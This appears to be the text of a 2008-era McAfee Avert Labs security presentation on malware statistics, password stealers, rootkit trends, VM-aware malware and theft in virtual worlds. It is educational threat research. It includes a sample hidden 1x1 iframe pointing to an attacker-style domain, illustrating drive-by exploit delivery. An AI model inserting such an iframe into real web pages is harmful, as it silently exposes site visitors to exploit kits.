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McAfee Avert Labs
Landscape, rootkits and vitualization
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•Today’s Malware Landscape
•Web 2.0 Threats
•Rootkits and Stealth Malware
•Virtualization

Agenda
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The scope of the malware problem
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Globally at Avert Labs:

• Currently 387913+ unique pieces of malware identified by 
Avert Labs

• Over 135885+ malware identified during 2007 alone

• 50000+ samples analyzed daily

• 95% or more are static (nor replicating) 
— Trojans and bots

• 90% or more are obfuscated
— Runtime packers and/or encryption
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Malware Production Has Reached Epidemic Proportions

38% Of All The 
Malware Ever Written 

Was In 2007

527+ Unique Malwares 
Per Business Day

372+ Unique Malwares 
Every Day

One driver written every 
4 minutes

Avert Labs Predicts 
750+ New Malwares 
Per Day By The End 
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The Malware of Choice: Password Stealers
They target banks 

credentials :
• PWS-BANKER

They target various 
cached passwords :

• PWS-LDPINCH

They target MMORPG :
• PWS-MMORPG PWS-

LINEAGE
• PWS-LEGMIR
• PWS-GAMANIA
• PWS-WOW

PWS Variants Classified
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They target without 
discernment :

• KEYLOG-
ARDAMAX
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2008 - Web 2.0 Threats
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• The preliminary phase of the attack consists of researching and infiltrating 
vulnerable sites. This is the case for many sites that are based on 
applications developed with the PHP language.

• Even if the IFRAME is "hidden", it plays its part by pointing to the page on 
the remote site. If the latter contains an exploit (or even just a script), it can 
be executed if the computer activating it is vulnerable (or has lax security 
settings).

• These attacks have been numerous and effective: ANI, MS06-044, MS06-
006, MS06-014, ActiveX bugs and other XML overflows

iFrame - The Delivery System of Choice 
Hack it, p0wn it, divert itHack it, p0wn it, divert it

Example: <IFRAME src='http://blackhatcrew.ru/tds/iframe.php‘
width='1' height='1' style='visibility: hidden;'>
</IFRAME>

Example: <IFRAME src='http://blackhatcrew.ru/tds/iframe.php‘
width='1' height='1' style='visibility: hidden;'>
</IFRAME>
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Hidden iframe
Example: commercial siteExample: commercial site
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Hidden iframe
Example: government siteExample: government site
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Hidden iframe
Example: social networkExample: social network
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These will be Commonplace in 2008
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Rootkit and Stealth Changes
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Top 20 rootkit families since 2001
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Us er_Import
Us er_Inline
Kernel_DKOM
Kernel_Inline

Kernel_IRP
Kernel_SSDT
Kernel_Filter
Kernel_IDT
Kernel_SysEnter
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2001 2003 2004 2005 2006 2007
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Rootkit distribution - B lended threats are new but growing slowly
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Threat McAfee Avert Labs Forecast 
Rootkit 6mo 12mo 18mo 

Trend 
-5 (decrease) 

+5  (increase) 
          +4         +3           +1 

Justification The current trend of 
growth will continue 
as many kernel-mode 
techniques are still 
being learned and 
tested in the wild. 
Towards the end of 
this period the rootkit 
growth is expected to 
have a linear growth 
instead of 
exponential. 

Various Ņproof of 
conceptÓ techniques 
may be implemented 
in the wild and new 
rootkit techniques 
may start to emerge 
for Vista. Integration 
of rootkit components 
in malware will 
continue to grow. 

Vista defenses may 
have an impact in 
slowing down the 
growth of rootkits. 

Confidence 95% 90% 70% 
McAfee Avert Labs Rootkit Threat Projection 
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Threat Futures
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Virtualization transforms information security
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Virtualization and Malware

•Pinch 1 & 2
•Slammer
•Sasser
•MyDoom

•Pinch 3
•Stration
•Storm
•Most packers

Non VM-Aware VM-Aware



22VMware exploits are developing rapidly….
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Tibetan Social Engineering

Keylogger with rootkit Remote access trojan on
hijacked website
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RedFlag CNN Dos Tool

•Dos against CNN
•Backdoored!!!
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Virtual Worlds

• The inhabitants spend a lot of 
energy, time and money in 
virtual worlds.

• Their virtual money, their 
objects, their relationships, and 
even "their powers" are coveted.

• More than $1.5 million changes 
hands each day in Second Life.

• Zeuzo, a "night elf rogue", was 
just sold on eBay for 7,000€. 

GilFinal Fantasy XI

GoldGuild Wars

Dollars USKnight Online

AdenaLineage II

GoldRunescape

Linden DollarSecond Life

GoldWorld of Warcraft

PED Entropia Universe

KamasDofus

Virtual Money
My avatar is richMy avatar is rich

The character in question was in possession of an exceptionally rare 
weapon: the Warglaives of Azzinoth, one of only two available in the 
world. This level 70 character - the maximum possible to date - also
owned pieces of the Tier 6 armour set, the highest level of armour
existing in World of Warcraft.
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Virtual Worlds and Parasitic Malware

Gold keylogging!!!Gold keylogging!!!

Many variants
• W32/HLLP.Philis
• W32/Fujaks

Complexity:
• Rootkit technology

(W32/Detnat)
• Stealthy and 

polymorphic
(W32/Bacalid)
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Read the blog:
http://www.avertlabs.com/research/blog

Subscribe to the podcast:
http://podcasts.mcafee.com/audioparasitics

Please send questions and comments
david_marcus@avertlabs.com


